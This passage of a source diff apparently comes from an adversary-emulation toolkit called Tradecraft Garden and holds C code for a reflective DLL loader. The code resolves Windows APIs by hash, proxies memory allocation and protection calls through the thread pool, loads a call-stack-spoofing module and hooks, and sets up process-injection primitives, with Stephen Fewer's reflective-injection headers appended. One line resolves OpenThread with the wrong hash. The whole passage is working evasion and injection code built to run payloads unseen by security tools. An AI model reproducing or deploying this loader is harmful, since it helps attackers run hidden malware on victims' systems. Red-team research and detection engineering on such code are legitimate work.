else if (h == VIRTUALQUERY_HASH) {
|
||||
return (char *)_VirtualQuery;
|
||||
}
|
||||
else if (h == DUPLICATEHANDLE_HASH) {
|
||||
return (char *)_DuplicateHandle;
|
||||
}
|
||||
else if (h == READPROCESSMEMORY_HASH) {
|
||||
return (char *)_ReadProcessMemory;
|
||||
}
|
||||
else if (h == WRITEPROCESSMEMORY_HASH) {
|
||||
return (char *)_WriteProcessMemory;
|
||||
}
|
||||
else if (h == EXITTHREAD_HASH) {
|
||||
g_ExitThread = result;
|
||||
return (char *)_ExitThread;
|
||||
}
|
||||
else if (h == CREATEPROCESSA_HASH) {
|
||||
return (char *)_CreateProcessA;
|
||||
}
|
||||
else if (h == SLEEP_HASH) {
|
||||
return (char *)_Sleep;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, char * dllBase, DWORD dllsz)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
|
||||
g_dllBase = dllBase;
|
||||
g_dllSize = dllsz;
|
||||
|
||||
init_frame_info();
|
||||
}
|
||||
@@ -0,0 +1,301 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
void setupProxy(void * loaderArgument);
|
||||
|
||||
__attribute__((noinline, no_reorder)) void go(void * loaderArgument) {
|
||||
setupProxy(loaderArgument);
|
||||
}
|
||||
|
||||
#include "loaderdefs.h"
|
||||
#include "loader.h"
|
||||
#include "picorun.h"
|
||||
#include "hash.h"
|
||||
#include "resolve_eat.h"
|
||||
#include "proxy.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
#define DLL_POSTEX_START 0x4
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
DRAUGR Draugr;
|
||||
WIN32_FUNC(RtlLookupFunctionEntry);
|
||||
WIN32_FUNC(GetModuleHandleA);
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualAllocEx);
|
||||
WIN32_FUNC(VirtualProtect);
|
||||
WIN32_FUNC(VirtualProtectEx);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(GetThreadContext);
|
||||
WIN32_FUNC(SetThreadContext);
|
||||
WIN32_FUNC(ResumeThread);
|
||||
WIN32_FUNC(CreateThread);
|
||||
WIN32_FUNC(CreateRemoteThread);
|
||||
WIN32_FUNC(OpenProcess);
|
||||
WIN32_FUNC(OpenThread);
|
||||
WIN32_FUNC(CloseHandle);
|
||||
WIN32_FUNC(CreateFileMappingA);
|
||||
WIN32_FUNC(MapViewOfFile);
|
||||
WIN32_FUNC(UnmapViewOfFile);
|
||||
WIN32_FUNC(VirtualQuery);
|
||||
WIN32_FUNC(DuplicateHandle);
|
||||
WIN32_FUNC(ReadProcessMemory);
|
||||
WIN32_FUNC(WriteProcessMemory);
|
||||
WIN32_FUNC(ExitThread);
|
||||
WIN32_FUNC(CreateProcessA);
|
||||
WIN32_FUNC(Sleep);
|
||||
|
||||
TPALLOCWORK TpAllocWork;
|
||||
TPPOSTWORK TpPostWork;
|
||||
TPRELEASEWORK TpReleaseWork;
|
||||
void * NtAllocateVirtualMemory;
|
||||
void * NtProtectVirtualMemory;
|
||||
} WIN32FUNCS;
|
||||
|
||||
void findNeededFunctions(WIN32FUNCS * funcs)
|
||||
{
|
||||
char * kernel32 = (char *)findModuleByHash(KERNEL32DLL_HASH);
|
||||
char * ntdll = (char *)findModuleByHash(NTDLLDLL_HASH);
|
||||
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(kernel32, LOADLIBRARYA_HASH);
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(kernel32, GETPROCADDRESS_HASH);
|
||||
funcs->RtlLookupFunctionEntry = (__typeof__(RtlLookupFunctionEntry) *) findFunctionByHash(kernel32, RTLLOOKUPFUNCTIONENTRY_HASH);
|
||||
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) findFunctionByHash(kernel32, GETMODULEHANDLEA_HASH);
|
||||
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(kernel32, VIRTUALALLOC_HASH);
|
||||
funcs->VirtualAllocEx = (__typeof__(VirtualAllocEx) *) findFunctionByHash(kernel32, VIRTUALALLOCEX_HASH);
|
||||
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(kernel32, VIRTUALPROTECT_HASH);
|
||||
funcs->VirtualProtectEx = (__typeof__(VirtualProtectEx) *) findFunctionByHash(kernel32, VIRTUALPROTECTEX_HASH);
|
||||
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(kernel32, VIRTUALFREE_HASH);
|
||||
funcs->GetThreadContext = (__typeof__(GetThreadContext) *) findFunctionByHash(kernel32, GETTHREADCONTEXT_HASH);
|
||||
funcs->SetThreadContext = (__typeof__(SetThreadContext) *) findFunctionByHash(kernel32, SETTHREADCONTEXT_HASH);
|
||||
funcs->ResumeThread = (__typeof__(ResumeThread) *) findFunctionByHash(kernel32, RESUMETHREAD_HASH);
|
||||
funcs->CreateThread = (__typeof__(CreateThread) *) findFunctionByHash(kernel32, CREATETHREAD_HASH);
|
||||
funcs->CreateRemoteThread = (__typeof__(CreateRemoteThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
|
||||
funcs->OpenProcess = (__typeof__(OpenProcess) *) findFunctionByHash(kernel32, OPENPROCESS_HASH);
|
||||
funcs->OpenThread = (__typeof__(OpenThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
|
||||
funcs->CloseHandle = (__typeof__(CloseHandle) *) findFunctionByHash(kernel32, CLOSEHANDLE_HASH);
|
||||
funcs->CreateFileMappingA = (__typeof__(CreateFileMappingA) *) findFunctionByHash(kernel32, CREATEFILEMAPPINGA_HASH);
|
||||
funcs->MapViewOfFile = (__typeof__(MapViewOfFile) *) findFunctionByHash(kernel32, MAPVIEWOFFILE_HASH);
|
||||
funcs->UnmapViewOfFile = (__typeof__(UnmapViewOfFile) *) findFunctionByHash(kernel32, UNMAPVIEWOFFILE_HASH);
|
||||
funcs->VirtualQuery = (__typeof__(VirtualQuery) *) findFunctionByHash(kernel32, VIRTUALQUERY_HASH);
|
||||
funcs->DuplicateHandle = (__typeof__(DuplicateHandle) *) findFunctionByHash(kernel32, DUPLICATEHANDLE_HASH);
|
||||
funcs->ReadProcessMemory = (__typeof__(ReadProcessMemory) *) findFunctionByHash(kernel32, READPROCESSMEMORY_HASH);
|
||||
funcs->WriteProcessMemory = (__typeof__(WriteProcessMemory) *) findFunctionByHash(kernel32, WRITEPROCESSMEMORY_HASH);
|
||||
funcs->ExitThread = (__typeof__(ExitThread) *) findFunctionByHash(kernel32, EXITTHREAD_HASH);
|
||||
funcs->CreateProcessA = (__typeof__(CreateProcessA) *) findFunctionByHash(kernel32, CREATEPROCESSA_HASH);
|
||||
funcs->Sleep = (__typeof__(Sleep) *) findFunctionByHash(kernel32, SLEEP_HASH);
|
||||
|
||||
funcs->TpAllocWork = (TPALLOCWORK) findFunctionByHash(ntdll, TPALLOCWORK_HASH);
|
||||
funcs->TpPostWork = (TPPOSTWORK) findFunctionByHash(ntdll, TPPOSTWORK_HASH);
|
||||
funcs->TpReleaseWork = (TPRELEASEWORK) findFunctionByHash(ntdll, TPRELEASEWORK_HASH);
|
||||
funcs->NtAllocateVirtualMemory = (void *) findFunctionByHash(ntdll, NTALLOCATEVIRTUALMEMORY_HASH);
|
||||
funcs->NtProtectVirtualMemory = (void *) findFunctionByHash(ntdll, NTPROTECTVIRTUALMEMORY_HASH);
|
||||
}
|
||||
|
||||
#ifdef WIN_X86
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
|
||||
#define GETRESOURCE(x) PTR_OFFSET(caller(), (ULONG_PTR)x + 5)
|
||||
#else
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
char __DLLDATA__[0] __attribute__((section("my_data")));
|
||||
char __PICDATA__[0] __attribute__((section("my_proxy")));
|
||||
char __HOKDATA__[0] __attribute__((section("my_hooks")));
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, char * dllbase, DWORD dllsz);
|
||||
|
||||
char * loader_start() {
|
||||
#ifdef WIN_X86
|
||||
return PTR_OFFSET(caller(), (ULONG_PTR)go + 5);
|
||||
#else
|
||||
return (char *)go;
|
||||
#endif
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char draugrpic[4096];
|
||||
char hookdata[4096];
|
||||
char hookcode[12288];
|
||||
char dllbase[0];
|
||||
} LAYOUT;
|
||||
|
||||
void __attribute__((naked)) workCallback()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"mov rbx, rdx;" // move struct as we're going to stomp rdx
|
||||
|
||||
"mov rax, [rbx];" // function pointer
|
||||
"mov rcx, [rbx + 0x8];" // argument 1
|
||||
"mov rdx, [rbx + 0x10];" // argument 2
|
||||
"mov r8, [rbx + 0x18];" // argument 3
|
||||
"mov r9, [rbx + 0x20];" // argument 4
|
||||
|
||||
"mov r10, [rbx + 0x30];" // argument 6
|
||||
"mov [rsp + 0x30], r10;"
|
||||
|
||||
"mov r10, [rbx + 0x28];" // argument 5
|
||||
"mov [rsp + 0x28], r10;"
|
||||
|
||||
"jmp rax;" // jump
|
||||
".att_syntax prefix;"
|
||||
);
|
||||
}
|
||||
|
||||
void * allocate_memory_threadpool(SIZE_T size, ULONG protect, WIN32FUNCS * funcs)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
void * baseAddress = NULL;
|
||||
|
||||
args.function = (ULONG_PTR)(funcs->NtAllocateVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(0);
|
||||
args.argument4 = (ULONG_PTR)(&size);
|
||||
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
|
||||
args.argument6 = (ULONG_PTR)(protect);
|
||||
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
|
||||
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
|
||||
funcs->TpPostWork(WorkReturn);
|
||||
funcs->TpReleaseWork(WorkReturn);
|
||||
|
||||
funcs->Sleep(100);
|
||||
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect, WIN32FUNCS * funcs)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
|
||||
args.function = (ULONG_PTR)(funcs->NtProtectVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(newProtect);
|
||||
args.argument5 = (ULONG_PTR)(&oldProtect);
|
||||
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
|
||||
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
|
||||
funcs->TpPostWork(WorkReturn);
|
||||
funcs->TpReleaseWork(WorkReturn);
|
||||
|
||||
funcs->Sleep(100);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
#include "debug.h"
|
||||
#endif
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, LAYOUT * layout, char * dll, DLLDATA * dllData, LPVOID loaderArgument)
|
||||
{
|
||||
char * hooks;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hooks = GETRESOURCE(__HOKDATA__);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(picosz, "[POSTEX] HookPicoDataSize: %d\nHookPicoCodeSize: %d\n");
|
||||
dprintf((IMPORTFUNCS *)funcs, picosz, PicoDataSize(hooks), PicoCodeSize(hooks));
|
||||
#endif
|
||||
|
||||
/* Load it into the layout */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hooks, layout->hookcode, layout->hookdata);
|
||||
|
||||
/* Make the code section RX */
|
||||
protect_memory_threadpool(layout->hookcode, PicoCodeSize(hooks), PAGE_EXECUTE_READ, funcs);
|
||||
|
||||
/* Call its entry point */
|
||||
((PICOHOOK_ENTRY)PicoEntryPoint(hooks, layout->hookcode))((IMPORTFUNCS *)funcs, layout->dllbase, SizeOfDLL(dllData));
|
||||
|
||||
/* Now load the DLL */
|
||||
LoadDLL(dllData, dll, layout->dllbase);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, dllData, layout->dllbase);
|
||||
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC entryPoint = EntryPoint(dllData, layout->dllbase);
|
||||
|
||||
/* yolo this RWX for now */
|
||||
protect_memory_threadpool(layout->dllbase, SizeOfDLL(dllData), PAGE_EXECUTE_READWRITE, funcs);
|
||||
|
||||
/* Call it twice */
|
||||
entryPoint((HINSTANCE)layout->dllbase, DLL_PROCESS_ATTACH, NULL);
|
||||
entryPoint((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
|
||||
}
|
||||
|
||||
void setupProxy(LPVOID loaderArgument)
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
char * dll;
|
||||
DLLDATA dllData;
|
||||
LAYOUT * layout;
|
||||
RESOURCE * pic;
|
||||
|
||||
/* Resolve functions */
|
||||
findNeededFunctions(&funcs);
|
||||
|
||||
/* Grab the DLL because we need its size */
|
||||
dll = GETRESOURCE(__DLLDATA__);
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(dll, &dllData);
|
||||
|
||||
/* Allocate memory for everything we'll load */
|
||||
layout = (LAYOUT *)allocate_memory_threadpool(sizeof(LAYOUT) + SizeOfDLL(&dllData), PAGE_READWRITE, &funcs);
|
||||
|
||||
#ifdef DEBUG
|
||||
PIC_STRING(mem, "[POSTEX] draugrpic @ 0x%lp\nhookdata @ 0x%lp\nhookcode @ 0x%lp\ndllbase @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, mem, layout->draugrpic, layout->hookdata, layout->hookcode, layout->dllbase);
|
||||
#endif
|
||||
|
||||
/* Grab the Draugr PIC */
|
||||
pic = (RESOURCE *)GETRESOURCE(__PICDATA__);
|
||||
|
||||
/* Copy it into memory */
|
||||
memcpy(layout->draugrpic, pic->value, pic->length);
|
||||
|
||||
/* Flip memory to RX */
|
||||
protect_memory_threadpool(layout->draugrpic, pic->length, PAGE_EXECUTE_READ, &funcs);
|
||||
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(layout->draugrpic);
|
||||
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, layout, dll, &dllData, loaderArgument);
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
typedef VOID NTAPI (*TPALLOCWORK) (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
|
||||
typedef VOID NTAPI (*TPPOSTWORK) (PTP_WORK);
|
||||
typedef VOID NTAPI (*TPRELEASEWORK) (PTP_WORK);
|
||||
|
||||
typedef struct {
|
||||
UINT_PTR function;
|
||||
UINT_PTR argument1;
|
||||
UINT_PTR argument2;
|
||||
UINT_PTR argument3;
|
||||
UINT_PTR argument4;
|
||||
UINT_PTR argument5;
|
||||
UINT_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} __IMAGE_RELOC, *__PIMAGE_RELOC;
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
|
||||
return dll->OptionalHeader->DataDirectory + entry;
|
||||
}
|
||||
|
||||
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
|
||||
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
|
||||
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
|
||||
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
|
||||
|
||||
for (int x = 0; x < relocEntries; x++) {
|
||||
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
|
||||
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
|
||||
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
|
||||
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
|
||||
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
|
||||
}
|
||||
|
||||
relocEntry++;
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
|
||||
IMAGE_DATA_DIRECTORY * relocationData;
|
||||
ULONG_PTR newBaseAddress;
|
||||
IMAGE_BASE_RELOCATION * relocation;
|
||||
|
||||
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
|
||||
|
||||
/* check if there are relocations present */
|
||||
if (relocationData->Size) {
|
||||
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
|
||||
|
||||
while (relocation->SizeOfBlock) {
|
||||
/* process this next relocation */
|
||||
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
|
||||
|
||||
/* go on to our next relocation */
|
||||
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
|
||||
void * hLib;
|
||||
IMAGE_THUNK_DATA * firstThunk;
|
||||
IMAGE_THUNK_DATA * originalFirstThunk;
|
||||
IMAGE_IMPORT_BY_NAME * importByName;
|
||||
ULONG_PTR importByOrdinal;
|
||||
|
||||
/* load whatever library we need here */
|
||||
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
|
||||
|
||||
/* get our thunks */
|
||||
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
|
||||
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
|
||||
|
||||
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
|
||||
* The different member names seem more for semantics than anything else. We're skipping the
|
||||
* field names in the union and just stomping over whatever is in this pointer-sized structure */
|
||||
|
||||
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
|
||||
|
||||
while ( DEREF(firstThunk) ) {
|
||||
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
|
||||
/*
|
||||
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
|
||||
* that our pointer is < MAXUSHORT ala ReactOS:
|
||||
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
|
||||
*/
|
||||
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
|
||||
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
|
||||
}
|
||||
/* OK, we are doing an import by name. */
|
||||
else {
|
||||
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
|
||||
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
|
||||
}
|
||||
|
||||
/* increment our pointers, to look at next import option */
|
||||
firstThunk++;
|
||||
if (originalFirstThunk)
|
||||
originalFirstThunk++;
|
||||
}
|
||||
}
|
||||
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
|
||||
IMAGE_DATA_DIRECTORY * importTableHdr;
|
||||
IMAGE_IMPORT_DESCRIPTOR * importDesc;
|
||||
|
||||
/* grab our header for the import table */
|
||||
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
|
||||
/* start with the first function of our import table, we're working solely from our destination memory now */
|
||||
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
|
||||
|
||||
/* walk our import table and process each of the entries */
|
||||
while (importDesc->Name) {
|
||||
ProcessImport(funcs, dll, dst, importDesc);
|
||||
importDesc++;
|
||||
}
|
||||
}
|
||||
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst) {
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
void * sectionSrc = NULL;
|
||||
|
||||
/* our first section! */
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int x = 0; x < numberOfSections; x++) {
|
||||
/* our source data to copy from */
|
||||
sectionSrc = src + sectionHdr->PointerToRawData;
|
||||
|
||||
/* our destination data */
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
|
||||
/* copy our section data over */
|
||||
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
|
||||
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void ParseDLL(char * src, DLLDATA * data) {
|
||||
data->DosHeader = (IMAGE_DOS_HEADER *)src;
|
||||
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
|
||||
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
|
||||
}
|
||||
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
|
||||
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
|
||||
}
|
||||
|
||||
DWORD SizeOfDLL(DLLDATA * data) {
|
||||
return data->OptionalHeader->SizeOfImage;
|
||||
}
|
||||
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
|
||||
/* copy our headers over to the destination address, if we wish */
|
||||
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
|
||||
|
||||
/* load our section data */
|
||||
LoadSections(dll, src, dst);
|
||||
|
||||
/* process our relocations */
|
||||
ProcessRelocations(dll, src, dst);
|
||||
}
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -0,0 +1,154 @@
|
||||
/*
|
||||
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
* provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
